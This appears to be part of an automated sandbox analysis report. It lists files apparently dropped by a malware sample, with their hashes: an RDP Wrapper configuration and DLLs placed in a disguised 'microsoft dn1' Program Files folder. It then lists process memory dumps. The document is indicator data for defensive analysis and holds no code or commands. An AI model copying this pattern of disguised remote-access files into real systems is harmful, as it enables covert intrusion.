C:\Users\Admin\AppData\Local\Temp\784b3b15-2b8e-42df-b11e-ec70bb6ec5f0\AgileDotNetRT64.dllFilesize
75KB
MD542b2c266e49a3acd346b91e3b0e638c0
SHA12bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1
SHA256adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29
SHA512770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81
-
\??\c:\program files\microsoft dn1\rdpwrap.iniFilesize
291KB
MD5914d30cdc026d77366e6ac105cd5eefc
SHA195e0c8463f4995bf126fa0cffab4a8a947963a1a
SHA256f00109618610375ea494b1406fa7e5548d75a52669b1bf1761a80394301b42f8
SHA512184c1c12c18b02e27a8674476c768b0dcaef7dff722dfd27e4f342ba7ce65653c399eed0bedc3d9cbca0fec0fa5a17077e8e71f4d7807e2119eec1687ccc7635
-
\??\c:\program files\microsoft dn1\sqlmap.dllFilesize
114KB
MD5461ade40b800ae80a40985594e1ac236
SHA1b3892eef846c044a2b0785d54a432b3e93a968c8
SHA256798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4
SHA512421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26
-
memory/1380-145-0x00007FF816300000-0x00007FF816DC1000-memory.dmpFilesize
10.8MB
-
memory/1380-146-0x00007FF816300000-0x00007FF816DC1000-memory.dmpFilesize
10.8MB
-
memory/1380-142-0x0000000000000000-mapping.dmp
-
memory/2844-148-0x00007FF80F0A0000-0x00007FF80F1EE000-memory.dmpFilesize
1.3MB
-
memory/2844-141-0x0000000000000000-mapping.dmp
-
memory/2844-144-0x00007FF816300000-0x00007FF816DC1000-memory.dmpFilesize
10.8MB
-
memory/2844-156-0x00007FF816300000-0x00007FF816DC1000-memory.dmpFilesize
10.8MB
-
memory/3016-135-0x00007FF8163C0000-0x00007FF816E81000-memory.dmpFilesize
10.8MB
-
memory/3016-133-0x0000000000000000-mapping.dmp
-
memory/3016-134-0x0000012B56310000-0x0000012B56332000-memory.dmpFilesize
136KB
-
memory/3016-137-0x00007FF8163C0000-0x00007FF816E81000-memory.dmpFilesize
10.8MB
-
memory/3544-140-0x00007FF8163C0000-0x00007FF816E81000-memory.dmpFilesize
10.8MB
-
memory/3544-136-0x00007FF8163C0000-0x00007FF816E81000-memory.dmpFilesize
10.8MB
-
memory/3544-132-0x0000000000000000-mapping.dmp
-
memory/3688-169-0x0000000000330000-0x000000000035D000-memory.dmpFilesize
180KB
-
memory/3688-165-0x0000000000330000-0x000000000035D000-memory.dmpFilesize
180KB
-
memory/3688-161-0x0000000000000000-mapping.dmp
-
memory/4068-150-0x0000000000400000-0x0000000000568000-memory.dmpFilesize
1.4MB
-
memory/4068-160-0x000000000B0A0000-0x000000000B240000-memory.dmpFilesize
1.6MB
-
memory/4068-157-0x0000000000400000-0x0000000000568000-memory.dmpFilesize
1.4MB
-
memory/4068-155-0x0000000000400000-0x0000000000568000-memory.dmpFilesize
1.4MB
-
memory/4068-154-0x0000000000400000-0x0000000000568000-memory.dmpFilesize
1.4MB
-
memory/4068-151-0x000000000040B556-mapping.dmp
-
memory/4232-164-0x0000000000000000-mapping.dmp